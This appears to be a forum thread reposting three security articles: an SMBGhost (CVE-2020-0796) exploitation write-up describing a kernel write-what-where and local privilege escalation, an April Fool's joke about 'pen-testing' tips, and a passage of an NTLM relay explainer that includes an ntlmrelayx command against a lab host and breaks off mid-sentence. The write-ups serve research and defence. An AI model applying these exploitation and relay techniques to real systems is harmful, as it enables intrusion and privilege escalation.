(Blue Screen of Death). A couple of days ago we returned to this bug for more than just a remote DoS. The Microsoft Security Advisory describes the bug as a remote code execution (RCE) vulnerability, but there is no public POC that demonstrates RCE through this bug. Initial Analysis The bug is an integer overflow bug that happens in the Srv2DecompressData function in the srv2.sys SMB server driver. Here’s a simplified version of the function, with the irrelevant details omitted: 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER; typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER; NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; } ULONG FinalCompressedSize = 0; NTSTATUS Status = SmbCompressionDecompress( Header->CompressionAlgorithm, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset, (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset), (PUCHAR)Alloc->UserBuffer + Header->Offset, Header->OriginalCompressedSegmentSize, &FinalCompressedSize); if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; } if (Header->Offset > 0) { memcpy( Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); } Srv2ReplaceReceiveBuffer(some_session_handle, Alloc); return STATUS_SUCCESS; } The Srv2DecompressData function receives the compressed message which is sent by the client, allocates the required amount of memory, and decompresses the data. Then, if the Offset field is not zero it copies the data that is placed before the compressed data as is to the beginning of the allocated buffer. If we look carefully, we can notice that lines 20 and 31 can lead to an integer overflow for certain inputs. For example, most POCs that appeared shortly after the bug publication and crashed the system just used the 0xFFFFFFFF value for the Offset field. Using the value 0xFFFFFFFF triggers an integer overflow on line 20, and as a result less bytes are allocated. Later, it triggers an additional integer overflow on line 31. The crash happens due to a memory access at the address calculated in line 30, far away from the received message. If the code verified the calculation at line 31, it would bail out early since the buffer length happens to be negative and cannot be represented, and that makes the address itself on line 30 invalid as well. Choosing what to overflow There are only two relevant fields that we can control to cause an integer overflow: OriginalCompressedSegmentSize and Offset, so there aren’t that many options. After trying several combinations, the following combination caught our eye: what if we send a legit Offset value and a huge OriginalCompressedSegmentSize value? Let’s go over the three steps the code is going to execute: Allocate: The amount of allocated bytes will be smaller than the sum of both fields due to the integer overflow. Decompress: The decompression will receive a huge OriginalCompressedSegmentSize value, treating the target buffer as practically having limitless size. All other parameters are unaffected thus it will work as expected. Copy: If it’s ever going to be executed (will it?), the copy will work as expected. Whether or not the Copy step is going to be executed, it already looks interesting – we can trigger an out of bounds write on the Decompress stage since we managed to allocate less bytes then necessary on the Allocate stage. As you can see, using this technique we can trigger an overflow of any size and content, which is a great start. But what is located beyond our buffer? Let’s find out! Diving into SrvNetAllocateBuffer To answer this question, we need to look at the allocation function, in our case SrvNetAllocateBuffer. Here is the interesting part of the function: 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ... if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) { if (AllocSize > 0x1000100) { return NULL; } Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize); } else { int LookasideListIndex = 0; if (AllocSize > 0x1100) { LookasideListIndex = /* some calculation based on AllocSize */; } SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex]; Result = /* fetch result from list */; } // Initialize some Result fields... return Result; } We can see that the allocation function does different things depending on the required amount of bytes. Large allocations (larger than about 16 MB) just fail. Medium allocations (larger than about 1 MB) use the SrvNetAllocateBufferFromPool function for the allocation. Small allocations (the rest) use lookaside lists for optimization. Note: There’s also the SrvDisableNetBufferLookAsideList flag which can affect the functionality of the function, but it’s set by an undocumented registry setting and is disabled by default, so it’s not very interesting. Lookaside lists are used for effectively reserving a set of reusable, fixed-size buffers for the driver. One of the capabilities of lookaside lists is to define a custom allocation/free functions which will be used for managing the buffers. Looking at references for the SrvNetBufferLookasides array, we found that it’s initialized in the SrvNetCreateBufferLookasides function, and by looking at it we learned the following: The custom allocation function is defined as SrvNetBufferLookasideAllocate, which just calls SrvNetAllocateBufferFromPool. 9 lookaside lists are created with the following sizes, as we quickly calculated with Python: >>> [hex((1 << (i + 12)) + 256) for i in range(9)] [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’] It matches our finding that allocations larger than 0x100100 bytes are allocated without using lookaside lists. The conclusion is that every allocation request ends up in the SrvNetBufferLookasideAllocate function, so let’s take a look at it. SrvNetBufferLookasideAllocate and the allocated buffer layout The SrvNetBufferLookasideAllocate function allocates a buffer in the NonPagedPoolNx pool using the ExAllocatePoolWithTag function, and then fills some of the structures with data. The layout of the allocated buffer is the following: The only relevant parts of this layout for the scope of our research are the user buffer and the ALLOCATION_HEADER struct. We can see right away that by overflowing the user buffer, we end up overriding the ALLOCATION_HEADER struct. Looks very convenient. Overriding the ALLOCATION_HEADER struct Our first thought at this point was that due to the check that follows the SmbCompressionDecompress call: if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; } SrvNetFreeBuffer will be called and the function will fail, since we crafted OriginalCompressedSegmentSize to be a huge number, and FinalCompressedSize is going to be a smaller number which represents the actual amount of decompressed bytes. So we analyzed the SrvNetFreeBuffer function, managed to replace the allocation pointer to a magic number, and waited for the free function to try and free it, hoping to leverage it later for use-after-free or similar. But to our surprise, we got a crash in the memcpy function. That has made us happy, since we didn’t hope to get there at all, but we had to check why it happened. The explanation can be found in the implementation of the SmbCompressionDecompress function: 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ... NTSTATUS Status = RtlDecompressBufferEx2( ..., FinalUncompressedSize, ...); if (Status >= 0) { *FinalCompressedSize = CompressedBufferSize; } // ... return Status; } Basically, if the decompression succeeds, FinalCompressedSize is updated to hold the value of CompressedBufferSize, which is the size of the buffer. This deliberate update of the FinalCompressedSize return value seemed quite suspicious for us, since this little detail, together with the allocated buffer layout, allows for a very convenient exploitation of this bug. Since the execution continues to the stage of copying the raw data, let’s review the call once again: memcpy( Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); The target address is read from the ALLOCATION_HEADER struct, the one that we can override. The content and the size of the buffer are controlled by us as well. Jackpot! Write-what-where in the kernel, remotely! Remote write-what-where implementation We did a quick implementation of a Write-What-Where CVE-2020-0796 Exploit in Python, which is based on the CVE-2020-0796 DoS POC of maxpl0it. The code is fairly short and straightforward. Local Privilege Escalation Now that we have the write-what-where exploit, what can we do with it? Obviously we can crash the system. We might be able to trigger remote code execution, but we didn’t find a way to do that yet. If we use the exploit on localhost and leak additional information, we can use it for local privilege escalation, as it was already demonstrated to be possible via several techniques. The first technique we tried was proposed by Morten Schenk in his Black Hat USA 2017 talk. The technique involves overriding a function pointer in the .data section of the win32kbase.sys driver, and then calling the appropriate function from user mode to gain code execution. j00ru wrote a great writeup about using this technique in WCTF 2018, and provided his exploit source code. We adjusted it for our write-what-where exploit, but found out that it doesn’t work since the thread that handles the SMB messages is not a GUI thread. Due to this, win32kbase.sys is not mapped, and the technique is not relevant (unless there’s a way to make it a GUI thread, something we didn’t research). We ended up using the well known technique covered by cesarcer in 2012 in his Black Hat presentation Easy Local Windows Kernel Exploitation. The technique is about leaking the current process token address by using the NtQuerySystemInformation(SystemHandleInformation) API, and then overriding it, granting the current process token privileges that can then be used for privilege escalation. The Abusing Token Privileges For EoP research by Bryan Alexander (dronesec) and Stephen Breen (breenmachine) (2017) demonstrates several ways of using various token privileges for privilege escalation. We based our exploit on the code that Alexandre Beaulieu kindly shared in his Exploiting an Arbitrary Write to Escalate Privileges writeup. We completed the privilege escalation after modifying our process’ token privileges by injecting a DLL into winlogon.exe. The DLL’s whole purpose is to launch a privileged instance of cmd.exe. Our complete Local Privilege Escalation Proof of Concept can be found here and is available for research / defensive purposes only. Summary We managed to demonstrate that the CVE-2020-0796 vulnerability can be exploited for local privilege escalation. Note that our exploit is limited for medium integrity level, since it relies on API calls that are unavailable in a lower integrity level. Can we do more than that? Maybe, but it will require more research. There are many other fields that we can override in the allocated buffer, perhaps one of them can help us achieve other interesting things such as remote code execution. POC Source Code Remediation We recommend updating servers and endpoints to the latest Windows version to remediate this vulnerability. If possible, block port 445 until updates are deployed. Regardless of CVE-2020-0796, we recommend enabling host-isolation where possible. It is possible to disable SMBv3.1.1 compression in order to avoid triggers to this bug, however we recommend to do full update instead if possible. Sursa: https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/
-
- 1
-
-
Top 12 tips every pentester should know April 1, 2020 In 2020, both big and small companies alike are embracing pen-testing as a solution to ensure the quality and availability of their mission-critical communication systems and data storage. Detectify Crowdsource is our private bug bounty community that’s powering our automated web security scanners to protect 1000s of security teams. It’s true that bug bounty hunters and pen-testers are not the same breed yet we see a lot of our hackers learning new skills to break into the pen-testing scene, and help keep out hackers with hats as black as ink. Detectify security researcher, Fredrik N. Almroth and his thoughts on the growing interest for pen-testing: “As a researcher, I see a lot of mistakes that can be avoided out in the wild such as unauthorized access to things in the supply chain and obvious tampering marks in the data. Year after year, companies have 2 options with pentesting: they can be proactive with testing business assets, or react once everything suddenly breaks at once. If you have the resources, bringing in pentesting can help companies stay on top of risks and get results before the ink is even dry on the auditing contract.” While there are differences in what they do, there are also a lot of similarities. So we asked the Detectify Crowdsource community, some who’ve even hacked the Pentagon, to share some of their top-paying tips that every great pen-tester should know: Top 12 tips every pen-tester should know: #12 @gehaxelt: I don’t think all of people know what true pen-testing really is. It’s all about documentation, and the writing between the lines. #11 @p4fg: “Find your niche. When it comes to pentesting, I’ve found it to be more lucrative to become an expert on fountain pens, than being a jack-of-all-pens.” #10 @peterjaric: “Know when to move on – As Einstein said: ‘Insanity is doing the same thing over and over again, but expecting different results.’ It’s the same with testing pens.” #9 @streaak: “It’s fierce competition out there, but do what’s going to get you paid, and not in the penitentiary.” #8 @ozgur_bbh “Always carry a pineapple.” #7 @0xLerhan: “Be creative and test where others don’t dare to test. The best results come where others aren’t looking.” #6 @alxbrsn: “Communicate business impact.” #5 @mahajan344: “Don’t lose track of the scope – it’s easy to get sucked in by pencils because they have erasers, but you’re really there for the pens. #4 @ErwinGeirnaert: “Wash your hands before and after testing, you don’t know how many hands have handled it.” #3 @JR0ch17: “My favourite command is `curl -pen http://google.com` “ #2 @JLLeitschuh: “We’ll all probably get carpal tunnel one day, but you can delay it if you automate all the repetitive tasks… like knowing the half-life of its ink.” #1 @tomnomnom: Put pen-to-paper and share what you found with the community. Embrace the twitter fame.” As mentioned our community applies these tips already today, and we’ve had great updates of progress including from researcher, @tareksiddiki: “Following these tips have helped me keep my eyes on the ball and I’ve pointed out numerous flaws to my clients, helping them cross t’s and dot the i’s. It’s really helped me put a feather in my cap as a pen-tester!” There you have it, some top-paying pen-testing tips from Detectify Crowdsource hackers. Now it’s time to get out there and get your next gig. Happy pen-testing! Happy April Fool’s Day! Sursa: https://blog.detectify.com/2020/04/01/top-pen-testing-tips-detectify-crowdsource/
-
NTLM Relay 01 Apr 2020 · 47 min Author : Pixis Active Directory Windows In this post » Preliminary » Introduction » NTLM Relay » In practice » Authentication vs Session » Session signing » Authentication signing (MIC) » Session key » Channel Binding » What can be relayed? » Stop. Using. NTLMv1. » Conclusion NTLM relay is a technique of standing between a client and a server to perform actions on the server while impersonating the client. It can be very powerful and can be used to take control of an Active Directory domain from a black box context (no credentials). The purpose of this article is to explain NTLM relay, and to present its limits. Preliminary This article is not meant to be a tutorial to be followed in order to carry out a successful attack, but it will allow the reader to understand in detail the technical details of this attack, its limitations, and can be a basis to start developing his own tools, or understand how current tools work. In addition, and to avoid confusion, here are some reminders: NT Hash and LM Hash are hashed versions of user passwords. LM hashes are totally obsolete, and will not be mentioned in this article. NT hash is commonly called, wrongly in my opinion, “NTLM hash”. This designation is confusing with the protocol name, NTLM. Thus, when we talk about the user’s password hash, we will refer to it as NT hash. NTLM is therefore the name of the authentication protocol. It also exists in version 2. In this article, if the version affects the explanation, then NTLMv1 and NTLMv2 will be the terms used. Otherwise, the term NTLM will be used to group all versions of the protocol. NTLMv1 Hash and NTLMv2 Hash will be the terminology used to refer to the challenge response sent by the client, for versions 1 and 2 of the NTLM protocol. Net-NTLMv1 and Net-NTLMv2 are pseudo-neo-terminologies used when the NT hash is called NTLM hash in order to distinguish the NTLM hash from the protocol. Since we do not use the NTLM hash terminology, these two terminologies will not be used. Net-NTLMv1 Hash and Net-NTLMv2 Hash are also terminologies to avoid confusion, but will also not be used in this article. Introduction NTLM relay relies, as its name implies, on NTLM authentication. The basics of NTLM have been presented in pass-the-hash article. I invite you to read at least the part about NTLM protocol and local and remote authentication. As a reminder, NTLM protocol is used to authenticate a client to a server. What we call client and server are the two parts of the exchange. The client is the one that wishes to authenticate itself, and the server is the one that validates this authentication. This authentication takes place in 3 steps: First the client tells the server that it wants to authenticate. The server then responds with a challenge which is nothing more than a random sequence of characters. The client encrypts this challenge with its secret, and sends the result back to the server. This is its response. This process is called challenge/response. The advantage of this exchange is that the user’s secret never passes through the network. This is known as Zero-knowledge proof. NTLM Relay With this information, we can easily imagine the following scenario: An attacker manages to be in a man-in-the-middle position between a client and a server, and simply relays information from one to the other. The man-in-the-middle position means that from the client’s point of view, the attacker’s machine is the server to which he wants to authenticate, and from the server’s point of view, the attacker is a client like any other who wants to authenticate. Except that the attacker does not “just” want to authenticate to the server. He wishes to do so by pretending to be the client. However, he does not know the secret of the client, and even if he listens to the conversations, as this secret is never transmitted over the network (zero-knowledge proof), the attacker is not able to extract any secret. So, how does it work? Message Relaying During NTLM authentication, a client can prove to a server its identify by encrypting with its password some piece of information provided by the server. So the only thing the attacker has to do is to let the client do his work, and passing the messages from the client to the server, and the replies from the server to the client. All that the client has to send to the server, the attacker will receive it, and he will send the messages back to the real server, and all the messages that the server sends to the client, the attacker will also receive them, and he will forward them to the client, as is. And it’s all working out! Indeed, from the client’s point of view, on the left part on the diagram, an NTLM authentication takes place between the attacker and him, with all the necessary bricks. The client sends a negotiate request in its first message, to which the attacker replies with a challenge. Upon receiving this challenge, the client builds its response using its secret, and finally sends the last authentication message containing the encrypted challenge. Ok, that’s great but the attacker cannot do anything with this exchange. Fortunately, there is the right side of the diagram. Indeed, from the server’s point of view, the attacker is a client like any other. He sent a first message to ask for authentication, and the server responded with a challenge. As the attacker sent this same challenge to the real client, the real client encrypted this challenge with its secret, and responded with a valid response. The attacker can therefore send this valid response to the server. This is where the interest of this attack lies. From the server’s point of view, the attacker has authenticated himself using the victim’s secret, but in a transparent way for the server. It has no idea that the attacker was replaying his messages to the client in order to get the client to give him the right answers. So, from the server’s point of view, this is what happened: At the end of these exchanges, the attacker is authenticated on the server with the client’s credentials. Net-NTLMv1 and Net-NTLMv2 For information, it is this valid response relayed by the attacker in message 3, the encrypted challenge, that is commonly called Net-NTLMv1 hash or Net-NTLMv2 hash. But in this article, it will be called NTLMv1 hash or NTLMv2 hash, as indicated in the preliminary paragraph. To be exact, this is not exactly an encrypted version of the challenge, but a hash that uses the client’s secret. It is HMAC_MD5 function which is used for NTLMv2 for example. This type of hash can only be broken by brute force. The cryptography associated with computation of the NTLMv1 hash is obsolete, and the NT hash that was used to create the hash can be retrieved very quickly. For NTLMv2, on the other hand, it takes much longer. It is therefore preferable and advisable not to allow NTLMv1 authentication on a production network. In practice As an example, I set up a small lab with several machines. There is DESKTOP01 client with IP address 192.168.56.221 and WEB01 server with IP address 192.168.56.211. My host is the attacker, with IP address 192.168.56.1. So we are in the following situation: The attacker has therefore managed to put himself man-in-the-middle position. There are different techniques to achieve this, whether through abuse of default IPv6 configurations in a Windows environment, or through LLMNR and NBT-NS protocols. Either way, the attacker makes the client think that he is the server. Thus, when the client tries to authenticate itself, it is with the attacker that it will perform this operation. The tool I used to perform this attack is ntlmrelayx from impacket. This tool is presented in details in this article by Agsolino, impacket (almighty) developer. ntlmrelayx.py -t 192.168.56.221 The tool creates different servers, including an SMB server for this example. If it receives a connection on this server, it will relay it to the provided target, which is 192.168.56.221 in this example. From a network point of view, here is a capture of the exchange, with the attacker relaying the information to the target. In green are the exchanges between DESKTOP01 client and the attacker, and in red are the exchanges between the attacker and WEB01 server. We can clearly see the 3 NTLM messages between DESKTOP01 and the attacker, and between the attacker and WEB01 server. And to understand the notion of relay, we can verify that when WEB01 sends a challenge to the attacker, the attacker sends back exactly the same thing to DESKTOP01. Here is the challenge sent by WEB01 to the attacker : When the attacker receives this challenge, he sends it to DESKTOP01 without any modification. In this example, the challenge is b6515172c37197b0. The client will then compute the response using his secret, as we have seen in the previous paragraphs, and he will send his response alongside with his username (jsnow), his hostname (DESKTOP01), and in this example he indicates that he is a domain user, so he provides the domain name (ADSEC). The attacker who gets all that doesn’t ask questions. He sends the exact same information to the server. So he pretends to be jsnow on DESKTOP01 and part of ADSEC domain, and he also sends the response that has been computed by the client, called NTLM Response in these screenshots. We call this response NTLMv2 hash. We can see that the attacker was only relaying stuff. He just relayed the information from the client to the server and vice versa, except that in the end, the server thinks that the attacker is successfully authenticated, and the attacker can then perform actions on the server on behalf of ADSEC\jsnow. Authentication vs Session Now that we have understood the basic principle of NTLM relay, the question that arises is how, concretely, can we perform actions on a server after relaying NTLM authentication? By the way, what do we mean by “actions”? What is it possible to do? To answer this question, we must first clarify one fundamental thing. When a client authenticates to a server to do something, we must distinguish two things: Authentication, allowing the server to verify that the client is who it claims to be. The session, during which the client will be able to perform actions. Thus, if the client has authenticated correctly, it will then be able to access the resources offered by the server, such as network shares, access to an LDAP directory, an HTTP server or a SQL database. This list is obviously not exhaustive. To manage these two steps, the protocol that is used must be able to encapsulate the authentication, thus the exchange of NTLM messages. Of course, if all the protocols were to integrate NTLM technical details, it would quickly become a holy mess. That’s why Microsoft provides an interface that can be relied on to handle authentication, and packages have been specially developed to handle different types of authentication. SSPI & NTLMSSP The SSPI interface, or Security Support Provider Interface, is an interface proposed by Microsoft to standardize authentication, regardless of the type of authentication used. Different packages can connect to this interface to handle different types of authentication. In our case, it is the NTLMSSP package (NTLM Security Support Provider) that interests us, but there is also a package for Kerberos authentication, for example. Without going into details, the SSPI interface provides several functions, including AcquireCredentialsHandle, InitializeSecurityContext and AcceptSecurityContext. During NTLM authentication, both the client and the server will use these functions. The steps are only briefly described here. The client calls AcquireCredentialsHandle in order to gain indirect access to the user credentials. The client then calls InitializeSecurityContext, a function which, when called for the first time, will create a message of type 1, thus of type NEGOTIATE. We know this because we’re interested in NTLM, but for a programmer, it doesn’t matter what this message is. All that matters is to send it to the server. The server, when receiving the message, calls the AcceptSecurityContext function. This function will then create the type 2 message, the CHALLENGE. When receiving this message, the client will call InitializeSecurityContext again, but this time passing the CHALLENGE as an argument. The NTLMSSP package takes care of everything to compute the response by encrypting the challenge, and will produce the last AUTHENTICATE message. Upon receiving this last message, the server also calls AcceptSecurityContext again, and the authentication verification will be performed automatically. The reason these steps are explained is to show that in reality, from the client or server point of view, the structure of the 3 messages that are exchanged does not matter. We, with our knowledge of the NTLM protocol, know what these messages correspond to, but both the client and the server don’t care. These messages are described in the Microsoft documentation as opaque tokens. This means that these 5 steps are completely independent of client’s type or server’s type. They work regardless of the protocol used as long as the protocol has something in place to allow this opaque structure to be exchanged in one way or another from the client to the server. So the protocols have adapted to find a way to put an NTLMSSP, Kerberos, or other authentication structure into a specific field, and if the client or server sees that there is data in that field, it just passes it to InitializeSecurityContext or AcceptSecurityContext. This point is quite important, since it clearly shows that the application layer (HTTP, SMB, SQL, …) is completely independent from the authentication layer (NTLM, Kerberos, …). Therefore, security measures are both needed for the authentication layer and for the application layer. For a better understanding, we will see the two examples of application protocols SMB and HTTP. It’s quite easy to find documentation for other protocols. It’s always the same principle. Integration with HTTP This is what a basic HTTP request looks like. GET /index.html HTTP/1.1 Host: beta.hackndo.com User-Agent: Mozilla/5.0 Accept: text/html Accept-Language: fr The mandatory elements in this example are the HTTP verb (GET), the path to the requested page (/index.html), the protocol version (HTTP/1.1), or the Host header (Host: beta.hackndo.com). But it is quite possible to add other arbitrary headers. At best, the remote server is aware that these headers will be present, and it will know how to handle them, and at worst it will ignore them. This allows you to have the same request with some additional information. GET /index.html HTTP/1.1 Host: beta.hackndo.com User-Agent: Mozilla/5.0 Accept: text/html Accept-Language: en X-Name: pixis Favorite-Food: Beer 'coz yes, beer is food It is this feature that is used to be able to transfer NTLM messages from the client to the server. It has been decided that the client sends its messages in a header called Authorization and the server in a header called WWW-Authenticate. If a client attempts to access a web site requiring authentication, the server will respond by adding the WWW-Authenticate header, and highlighting the different authentication mechanisms it supports. For NTLM, it will simply say NTLM. The client, knowing that NTLM authentication is required, will send the first message in the Authorization header, encoded in base 64 because the message does not only contain printable characters. The server will respond with a challenge in the WWW-Authenticate header, the client will compute the response and will send it in Authorization. If authentication is successful, the server will usually return a 200 return code indicating that everything went well. > GET /index.html HTTP/1.1 > Host: beta.hackndo.com > User-Agent: Mozilla/5.0 > Accept: text/html > Accept-Language: en < HTTP/1.1 401 Unauthorized < WWW-Authenticate: NTLM < Content type: text/html < Content-Length: 0 > GET /index.html HTTP/1.1 > Host: beta.hackndo.com > User-Agent: Mozilla/5.0 > Accept: text/html > Accept-Language: en => Authorization: NTLM <NEGOTIATE in base 64> < HTTP/1.1 401 Unauthorized => WWW-Authenticate: NTLM <CHALLENGE in base 64> < Content type: text/html < Content-Length: 0 > GET /index.html HTTP/1.1 > Host: beta.hackndo.com > User-Agent: Mozilla/5.0 > Accept: text/html > Accept-Language: en => Authorization: NTLM <RESPONSE in base 64> < HTTP/1,200 OKAY. < WWW-Authenticate: NTLM < Content type: text/html < Content-Length: 0 < Connection: close As long as the TCP session is open, authentication will be effective. As soon as the session closes, however, the server will no longer have the client’s security context, and a new authentication will have to take place. This can often happen, and thanks to Microsoft’s SSO (Single Sign On) mechanisms, it is often transparent to the user. Integration with SMB Let’s take another example frequently encountered in a company network. It is SMB protocol, used to access network shares, but not only. SMB protocol works by using commands. They are documented by Microsoft, and there are many of them. For example, there are SMB_COM_OPEN, SMB_COM_CLOSE or SMB_COM_READ, commands to open, close or read a file. SMB also has a command dedicated to configuring an SMB session, and this command is SMB_COM_SESSION_SETUP_ANDX. Two fields are dedicated to the contents of the NTLM messages in this command. LM/LMv2 Authentication: OEMPassword NTLM/NTLMv2 authentication: UnicodePassword What is important to remember is that there is a specific SMB command with an allocated field for NTLM messages. Here is an example of an SMB packet containing the response of a server to an authentication. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters These two examples show that the content of NTLM messages is protocol-independent. It can be included in any protocol that supports it. It is then very important to clearly distinguish the authentication part, i.e. the NTLM exchanges, from the application part, or the session part, which is the continuation of the exchanges via the protocol used once the client is authenticated, like browsing a website via HTTP or accessing files on a network share if we use SMB. As this information is independent, it means that a man-in-the-middle may very well receive authentication via HTTP, for example, and relay it to a server but using SMB. This is called cross-protocol relay. With all these aspects in mind, the following chapters will highlight the various weaknesses that exist or have existed, and the security mechanisms that come into play to address them. Session signing Principle A signature is an authenticity verification method, and it ensures that the item has not been tampered with between sending and receiving. For example, if the user jdoe sends the text I love hackndo, and digitally signs this document, then anyone who receives this document and his signature can verify that it was jdoe who edited it, and can be assured that he wrote this sentence, and not another, since the signature guarantees that the document has not been modified. The signature principle can be applied to any exchange, as long as the protocol supports it. This is for example the case of SMB, LDAP and even HTTP. In practice, the signing of HTTP messages is rarely implemented. But then, what’s the point of signing packages? Well, as discussed earlier, session and authentication are two separate steps when a client wants to use a service. Since an attacker can be in a man-in-the-middle position and relay authentication messages, he can impersonate the client when talking with the server. This is where signing comes into play. Even if the attacker has managed to authenticate to the server as the client, he will not be able to sign packets, regardless of authentication. Indeed, in order to be able to sign a packet, one must know the secret of the client. In NTLM relay, the attacker wants to pretend to be a client, but he has no knowledge of his secret. He is therefore unable to sign anything on behalf of the client. Since he can’t sign any packet, the server receiving packets will either see that the signature is not present, or that it doesn’t exist, and will reject the attacker’s request. So you understand that if packets must necessarily be signed after authentication, then the attacker can no longer operate, since he has no knowledge of the client’s secret. So the attack will fail. This is a very effective measure to protect against NTLM relay. That’s all very well, but how do the client and the server agree on whether or not to sign packets? Well that’s a very good question. Yes, I know, I’m the one asking it, but that doesn’t make it irrelevant. There are two things that come into play here. The first one is to indicate if signing is supported. This is done during NTLM negotiation. The second one allows to indicate if signing will be required, optional or disabled. This is a setting that is done at the client and server level. NTLM Negotiation This negotiation allows to know if the client and/or the server support signing (among other things), and is done during the NTLM exchange. So I lied to you a bit earlier, authentication and session are not completely independent. (By the way, I said that since it was independent, you could change protocol when relaying, but there are limits, we will see them in the chapter on MIC in NTLM authentication). In fact, in NTLM messages, there is other information other than a challenge and the response that are exchanged. There are also negotiation flags, or Negotiate Flags. These flags indicate what the sending entity supports. There are several flags, but the one of interest here is NEGOTIATE_SIGN. When this flag is set to 1 by the client, it means that the client supports signing. Be careful, it does not mean that he will necessarily sign his packets. Just that he’s capable of it. Similarly when the server replies, if it supports signing then the flag will also be set to 1. This negotiation thus allows each of the two parties, client and server, to indicate to the other if it is able sign packets. For some protocols, even if the client and the server support signing, this does not necessarily mean that the packets will be signed. Implementation Now that we’ve seen how both parties indicate to the other their ability to sign packets, they have to agree on it. This time, this decision is made according to the protocol. So it will be decided differently for SMBv1, for SMBv2, or for LDAP. But the idea remains the same. Depending on the protocol, there are usually 2 or even 3 options that can be set to decide wether signing will be enforced, or not. The 3 options are : Disabled : This means that signing is not managed. Enabled: This option indicates that the machine can handle signing if need be, but it does not require signing. Mandatory: This finally indicates that signing is not only supported, but that packets must be signed in order for the session to continue. We will see here the example of two protocols, SMB and LDAP. SMB Signature matrix A matrix is provided in Microsoft documentation to determine whether or not SMB packets are signed based on client-side and server-side settings. I’ve reported it in this table. Note however that for SMBv2 and higher, signing is necessarily handled, the Disabled parameter no longer exists. There is a difference when client and server have the Enabled setting. In SMBv1, the default setting for servers was Disabled. Thus, all SMB traffic between clients and servers was not signed by default. This avoided overloading the servers by preventing them from computing signatures each time an SMB packet was sent. As the Disabled status no longer exists for SMBv2, and servers are now Enabled by default, in order to keep this load saving, the behavior between two Enable entites has been modified, and signing is no longer required in this case. The client and/or the server must necessarily require the signature for SMB packets to be signed. Settings In order to change the default signing settings on a server, the EnableSecuritySignature and RequireSecuritySignature keys must be changed in registry hive HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters. This screenshot was taken on a domain controller. By default, domain controllers require SMB signing when a client authenticates to them. Indeed, the GPO applied to domain controllers contains this entry: On the other hand, we can see on this capture that above this setting, the same parameter applied to Microsoft network client is not applied. So when the domain controller acts as an SMB server, SMB signing is required, but if a connection comes from the domain controller to a server, SMB signing is not required. Setup Now that we know where SMB signing is configured, we can see this parameter applied during an communication. It is done just before authentication. In fact, when a client connects to the SMB server, the steps are as follows: Negotiation of the SMB version and signing requirements Authentication SMB session with negotiated parameters Here is an example of SMB signing negotiation: We see a response from a server indicating that it has the Enable parameter, but that it does not require signing. To summarize, here is how a negotiation / authentication / session takes place : In the negotiation phase, both parties indicate their requirements: Is signing required for one of them? In the authentication phase, both parties indicate what they support. Are they capable of signing? In the session phase, if the capabilities and the requirements are compatible, the session is carried out applying what has been negotiated. For example, if DESKTOP01 client wants to communicate with DC01 domain controller, DESKTOP01 indicates that it does not require signing, but that that he can handle it, if needed. DC01 indicates that not only he supports signing, but that he requires it. During negotiation phase, the client and server set the NEGOTIATE_SIGN flag to 1 since they both support signing. Once this authentication is completed, the session continues, and the SMB exchanges are effectively signed. LDAP Signing matrix For LDAP, there are also three levels: Disabled: This means that packet signing is not supported. Negotiated Signing: This option indicates that the machine can handle signing, and if the machine it is communicating with also handles it, then they will be signed. Required: This finally indicates that signing is not only supported, but that packets must be signed in order for the session to continue. As you can read, the intermediate level, Negotiated Signing differs from the SMBv2 case, because this time, if the client and the server are able to sign packets, then they will. Whereas for SMBv2, packets were only signed if it was a requirement for at least one entity. So for LDAP we have a matrix similar to SMBv1, except for the default behaviors. The difference with SMB is that in Active Directory domain, all hosts have Negotiated Signing setting. The domain controller doesn’t require signing. Settings For the domain controller, the ldapserverintegrity registry key is in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NTDS\Parameters hive and can be 0, 1 or 2 depending on the level. It is set to 1 on the domain controller by default. For the clients, this registry key is located in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ldap It is also set to 1 for clients. Since all clients and domain controllers have Negotiated Signing, all LDAP packets are signed by default. Setup Unlike SMB, there is no flag in LDAP that indicates whether packets will be signed or not. Instead, LDAP uses flags set in NTLM 